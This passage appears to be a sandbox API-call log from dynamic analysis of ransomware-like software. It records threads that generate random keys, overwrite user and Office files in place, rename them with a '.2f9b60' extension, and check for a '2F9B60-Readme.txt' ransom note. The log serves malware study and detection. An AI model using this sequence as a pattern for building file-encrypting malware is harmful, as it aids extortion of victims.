DestinationString=0x1fc5f958, SourceString="72b713e39154792db4fc9a2cb7b74809a12c4cf5271cea5a7d58492995b234cf2544e45a4546", AllocateDestinationString=1 | out: DestinationString="72b713e39154792db4fc9a2cb7b74809a12c4cf5271cea5a7d58492995b234cf2544e45a4546") returned 0x0 [0200.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431eb9b0 [0200.851] wcscat (in: _Dest=0x4314a720, _Source="72b713e39154792db4f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\72b713e39154792db4f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\72b713e39154792db4f" [0200.851] wcscat (in: _Dest=0x4314a720, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\72b713e39154792db4f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\72b713e39154792db4f.2f9b60" [0200.851] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\72b713e39154792db4f.2f9b60", NtPathName=0x1fc5f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\72b713e39154792db4f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced0ba0 [0219.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0ba0) returned 1 [0219.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432016b0) returned 1 [0219.773] NtQueryInformationFile (in: FileHandle=0xad8, IoStatusBlock=0x1fc5f998, FileInformation=0x1fc5f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1fc5f998, FileInformation=0x1fc5f9a8) returned 0x0 [0219.773] NtSetInformationFile (FileHandle=0xad8, IoStatusBlock=0x1fc5f998, FileInformation=0x1fc5f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314a720) returned 1 [0222.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eb9b0) returned 1 [0222.736] FlushFileBuffers (hFile=0xad8) returned 1 [0222.747] CloseHandle (hObject=0xad8) returned 1 [0223.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x4315ed50 [0223.249] wcscpy (in: _Dest=0x4315ed50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0223.249] wcscat (in: _Dest=0x4315ed50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" [0223.249] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\2f9b60-readme.txt")) returned 0x20 [0223.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4315ed50) returned 1 [0223.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd653f0) returned 1 Thread: id = 2723 os_tid = 0x22f8 [0157.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f961f883a909.2f9b60")) returned 0x20 [0157.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909.2f9b60", dwFileAttributes=0x20) returned 1 [0157.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f961f883a909.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xadc [0157.923] GetFileSizeEx (in: hFile=0xadc, lpFileSize=0x3df3f720 | out: lpFileSize=0x3df3f720*=5160) returned 1 [0157.923] SetFilePointerEx (in: hFile=0xadc, liDistanceToMove=0x1424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.923] ReadFile (in: hFile=0xadc, lpBuffer=0x3df3f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3df3f6e8, lpOverlapped=0x0 | out: lpBuffer=0x3df3f6a0*, lpNumberOfBytesRead=0x3df3f6e8*=0x4, lpOverlapped=0x0) returned 1 [0157.923] FlushFileBuffers (hFile=0xadc) returned 1 [0166.208] CloseHandle (hObject=0xadc) returned 1 [0166.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909.2f9b60", dwFileAttributes=0x20) returned 1 [0170.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c330) returned 1 Thread: id = 2724 os_tid = 0x22fc [0157.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fa6d4d9c49d4.2f9b60")) returned 0x20 [0157.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4.2f9b60", dwFileAttributes=0x20) returned 1 [0157.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fa6d4d9c49d4.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14a4 [0157.927] GetFileSizeEx (in: hFile=0x14a4, lpFileSize=0x24fef680 | out: lpFileSize=0x24fef680*=14806) returned 1 [0157.927] SetFilePointerEx (in: hFile=0x14a4, liDistanceToMove=0x39d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.928] ReadFile (in: hFile=0x14a4, lpBuffer=0x24fef600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24fef648, lpOverlapped=0x0 | out: lpBuffer=0x24fef600*, lpNumberOfBytesRead=0x24fef648*=0x4, lpOverlapped=0x0) returned 1 [0157.928] FlushFileBuffers (hFile=0x14a4) returned 1 [0166.272] CloseHandle (hObject=0x14a4) returned 1 [0166.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4.2f9b60", dwFileAttributes=0x20) returned 1 [0182.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c470) returned 1 Thread: id = 2725 os_tid = 0x2300 [0157.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0157.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID", dwFileAttributes=0x20) returned 1 [0157.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xae0 [0157.931] GetFileSizeEx (in: hFile=0xae0, lpFileSize=0x3e05fbc0 | out: lpFileSize=0x3e05fbc0*=4846) returned 1 [0157.931] SetFilePointerEx (in: hFile=0xae0, liDistanceToMove=0x12ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.931] ReadFile (in: hFile=0xae0, lpBuffer=0x3e05fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e05fb88, lpOverlapped=0x0 | out: lpBuffer=0x3e05fb40*, lpNumberOfBytesRead=0x3e05fb88*=0x4, lpOverlapped=0x0) returned 1 [0159.142] SetFilePointerEx (in: hFile=0xae0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f00 [0159.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f30 [0159.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f60 [0159.142] NtQuerySystemTime (in: CurrentTime=0x3e05fa80 | out: CurrentTime=0x3e05fa80*=132462177642754000) returned 0x0 [0159.142] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x5f40a53 [0159.142] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x4bc86a60 [0159.142] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x55642e6b [0159.142] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x3dec4cc5 [0159.142] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x54746003 [0159.142] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x44464797 [0159.142] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x1c42fd2b [0159.142] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0xcaf42f9 [0159.142] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x1d2b0555 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x2be884f9 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x33d3e41c [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x54fa21c8 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x9048770 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0xe392d61 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x4987c1c3 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x32a3537a [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x1898ceb5 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0xdd0c740 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x2ff0cc3b [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x5f112dec [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x4a21cd2a [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x67c95240 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x2bc09a5c [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x7e8e06c8 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x2b0ea918 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x747bbd91 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x7f1d97f7 [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x34a32ba [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x4c646f9f [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x5f2b589d [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0x52c7addf [0159.143] RtlRandomEx (in: Seed=0x3e05fa70 | out: Seed=0x3e05fa70) returned 0xdb8a321 [0159.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f90 [0159.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308080 [0159.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2fc0 [0159.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42308080) returned 1 [0159.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2f60) returned 1 [0159.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2f00) returned 1 [0159.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c010 [0159.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308080 [0159.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f00 [0159.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2f00) returned 1 [0159.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20459710 [0159.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426bf1d0 [0159.155] ReadFile (in: hFile=0xae0, lpBuffer=0x20459710, nNumberOfBytesToRead=0x12ee, lpNumberOfBytesRead=0x3e05fa70, lpOverlapped=0x0 | out: lpBuffer=0x20459710*, lpNumberOfBytesRead=0x3e05fa70*=0x12ee, lpOverlapped=0x0) returned 1 [0159.696] SetFilePointerEx (in: hFile=0xae0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.696] WriteFile (hFile=0xae0, lpBuffer=0x426bf1d0, nNumberOfBytesToWrite=0x12ee, lpNumberOfBytesWritten=0x3e05fa74, lpOverlapped=0x0) [0186.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca3a0 [0186.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca3d0 [0186.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca3d0) returned 1 [0186.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426bf1d0) returned 1 [0186.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20459710) returned 1 [0186.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42308080) returned 1 [0186.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c010) returned 1 [0186.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca3d0 [0186.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c010 [0186.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308080 [0186.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca400 [0186.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca400) returned 1 [0186.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca400 [0186.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca430 [0186.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca460 [0186.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca460) returned 1 [0186.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42308080) returned 1 [0186.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c010) returned 1 [0186.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43102d80 [0186.658] SetFilePointerEx (in: hFile=0xae0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.658] WriteFile (in: hFile=0xae0, lpBuffer=0x43102d80*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3e05fb90, lpOverlapped=0x0 | out: lpBuffer=0x43102d80*, lpNumberOfBytesWritten=0x3e05fb90*=0x108, lpOverlapped=0x0) returned 1 [0201.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc500 [0201.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc500) returned 1 [0201.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0201.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc500 [0201.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc4d0 [0201.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc4d0) returned 1 [0201.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d2b0 [0201.101] sprintf (in: _Dest=0x1ce5d2b0, _Format="%c%c" | out: _Dest="60") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2b2, _Format="%c%c" | out: _Dest="a7") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2b4, _Format="%c%c" | out: _Dest="5a") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2b6, _Format="%c%c" | out: _Dest="6c") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2b8, _Format="%c%c" | out: _Dest="89") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2ba, _Format="%c%c" | out: _Dest="03") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2bc, _Format="%c%c" | out: _Dest="60") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2be, _Format="%c%c" | out: _Dest="49") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2c0, _Format="%c%c" | out: _Dest="96") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2c2, _Format="%c%c" | out: _Dest="5d") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2c4, _Format="%c%c" | out: _Dest="94") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2c6, _Format="%c%c" | out: _Dest="8f") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2c8, _Format="%c%c" | out: _Dest="1d") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2ca, _Format="%c%c" | out: _Dest="f0") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2cc, _Format="%c%c" | out: _Dest="02") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2ce, _Format="%c%c" | out: _Dest="e8") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2d0, _Format="%c%c" | out: _Dest="14") returned 2 [0201.101] sprintf (in: _Dest=0x1ce5d2d2, _Format="%c%c" | out: _Dest="d4") returned 2 [0201.102] sprintf (in: _Dest=0x1ce5d2d4, _Format="%c%c" | out: _Dest="75") returned 2 [0201.102] sprintf (in: _Dest=0x1ce5d2d6, _Format="%c%c" | out: _Dest="3d") returned 2 [0201.102] sprintf (in: _Dest=0x1ce5d2d8, _Format="%c%c" | out: _Dest="78") returned 2 [0201.102] sprintf (in: _Dest=0x1ce5d2da, _Format="%c%c" | out: _Dest="98") returned 2 [0201.102] RtlInitAnsiString (in: DestinationString=0x3e05fc08, SourceString="60a75a6c89036049965d948f1df002e814d4753d7898" | out: DestinationString="60a75a6c89036049965d948f1df002e814d4753d7898") [0201.102] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e05fbd8, SourceString="60a75a6c89036049965d948f1df002e814d4753d7898", AllocateDestinationString=1 | out: DestinationString="60a75a6c89036049965d948f1df002e814d4753d7898") returned 0x0 [0201.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a1320 [0201.103] wcscat (in: _Dest=0x43189c60, _Source="60a75a6c890" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60a75a6c890") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60a75a6c890" [0201.103] wcscat (in: _Dest=0x43189c60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60a75a6c890.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60a75a6c890.2f9b60" [0201.103] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60a75a6c890.2f9b60", NtPathName=0x3e05fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60a75a6c890.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4314b260 Thread: id = 2726 os_tid = 0x2304 [0157.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fb53d7dffdc1.2f9b60")) returned 0x20 [0157.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1.2f9b60", dwFileAttributes=0x20) returned 1 [0157.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fb53d7dffdc1.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xae4 [0157.939] GetFileSizeEx (in: hFile=0xae4, lpFileSize=0x3e1ef7c0 | out: lpFileSize=0x3e1ef7c0*=3386) returned 1 [0157.939] SetFilePointerEx (in: hFile=0xae4, liDistanceToMove=0xd36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.939] ReadFile (in: hFile=0xae4, lpBuffer=0x3e1ef740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e1ef788, lpOverlapped=0x0 | out: lpBuffer=0x3e1ef740*, lpNumberOfBytesRead=0x3e1ef788*=0x4, lpOverlapped=0x0) returned 1 [0157.939] FlushFileBuffers (hFile=0xae4) returned 1 [0166.270] CloseHandle (hObject=0xae4) returned 1 [0166.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1.2f9b60", dwFileAttributes=0x20) returned 1 [0182.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c3d0) returned 1 Thread: id = 2727 os_tid = 0x2308 [0157.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x20 [0157.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF", dwFileAttributes=0x20) returned 1 [0157.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xae8 [0157.946] GetFileSizeEx (in: hFile=0xae8, lpFileSize=0x3e26fd20 | out: lpFileSize=0x3e26fd20*=17850) returned 1 [0157.946] SetFilePointerEx (in: hFile=0xae8, liDistanceToMove=0x45b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.946] ReadFile (in: hFile=0xae8, lpBuffer=0x3e26fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e26fce8, lpOverlapped=0x0 | out: lpBuffer=0x3e26fca0*, lpNumberOfBytesRead=0x3e26fce8*=0x4, lpOverlapped=0x0) returned 1 [0160.980] SetFilePointerEx (in: hFile=0xae8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a29c0 [0160.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2d80 [0160.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2e10 [0160.981] NtQuerySystemTime (in: CurrentTime=0x3e26fbe0 | out: CurrentTime=0x3e26fbe0*=132462177661162000) returned 0x0 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x39fec932 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x7735c2cd [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x1af4d39c [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x68b8c232 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x32e709fb [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x3e1121a1 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0xd54fd32 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x55a41556 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x1454575b [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x1604a9b1 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x60acdcb8 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x7b24a7e0 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x16098a7f [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x5fa8048e [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x4a8d7757 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x7229084 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x1fa5ae4f [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x21cc20f8 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x576c31f2 [0160.981] RtlRandomEx (in: 